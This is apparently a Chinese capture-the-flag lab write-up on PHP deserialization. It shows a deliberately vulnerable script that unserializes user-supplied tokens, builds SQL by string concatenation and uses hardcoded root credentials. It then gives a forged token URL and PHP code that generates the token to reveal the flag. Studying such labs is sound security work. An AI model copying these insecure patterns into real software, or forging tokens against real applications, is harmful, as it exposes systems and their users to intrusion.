前置知识
gzcompress() — php的字符串压缩(压缩能力差不多10倍)
gzuncompress() — php的字符串解压缩
mysqli_fetch_array() 函数从结果集中取得一行作为关联数组,或数字数组,或二者兼有。
__wakeup()—执行unserialize()时,先会调用这个函数
unserialize()—反序列化
。
漏洞测试代码
<?php
// include 'common.php';
$flag = 'xxxxxxxxxxxxxxx';
$req = array_merge($_GET, $_POST);
$con = mysqli_connect("localhost:23306","root","root","test");
if(!$con){
die('Could not connect: ' . mysqli_error());
}
//把一个或多个数组合并为一个数组
class db
{
public $where;
function __wakeup()
{
if(!empty($this->where))
{
$this->select($this->where);
}
}
function select($con,$where)
{
$sql = mysqli_query($con,'select * from user where '.$where);
//函数执行一条 MySQL 查询。
return @mysqli_fetch_array($sql);
//从结果集中取得一行作为关联数组,或数字数组,或二者兼有返回根据从结果集取得的行生成的数组,如果没有更多行则返回 false
}
}
if(isset($req['token']))
//测试变量是否已经配置。若变量已存在则返回 true 值。其它情形返回 false 值。
{
$login = unserialize(gzuncompress(base64_decode($req['token'])));
//gzuncompress:进行字符串压缩
//unserialize: 将已序列化的字符串还原回 PHP 的值
$db = new db();
$row = $db->select($con,'user="'.mysqli_real_escape_string($con,$login['user']).'"');
var_dump($row);
//mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。
if($login['user'] === 'xiaowu')
{
echo $flag;
}else if($row['pass'] !== $login['pass']){
echo 'unserialize injection!!';
}else{
echo "(╯‵□′)╯︵┴─┴ ";
}
}else{
print('sfdf');
// header('Location: index.php?error=1');
}
?>
漏洞复现
- 发生以下任意请求,均可绕过限制拿到flag
http://127.0.0.1/php/03-jiami.php?token=eJxLtDK0qi62MrFSKi1OLVKyLrYys1KqyEzMLy9Vsq4FAI7oCZE=
漏洞分析
想要拿到flag需要满足两个条件,第一个条件isset($req[‘token’]),第二个条件$login[‘user’] === ‘xiaowu’。第一个条件加单,只要get或者post一个token参数就可以满足,第二个条件中的$login来自这里:
$login =unserialize(gzuncompress(base64_decode($req[‘token’])))。这个是先对token参数内容进行base64解码,再gzuncompress解压缩,最后再反序列化得到的。这样的话我们可以反过来进行操作得到token值。因为我们最终需要得到$login为array(“user” => “xiaowu”),这样才能满足条件拿到flag,所以我们可以对array(“user” => “xiaowu”)先进行serialize(),再gzcompress(),再base64(),反向推导出token值。代码如下: ``` <?php
$arr = array(“user” => “xiaowu”); $token = base64_encode(gzcompress(serialize($arr))); print_r($token);
?>
```
拿到的token值发送过去就可以拿到flag。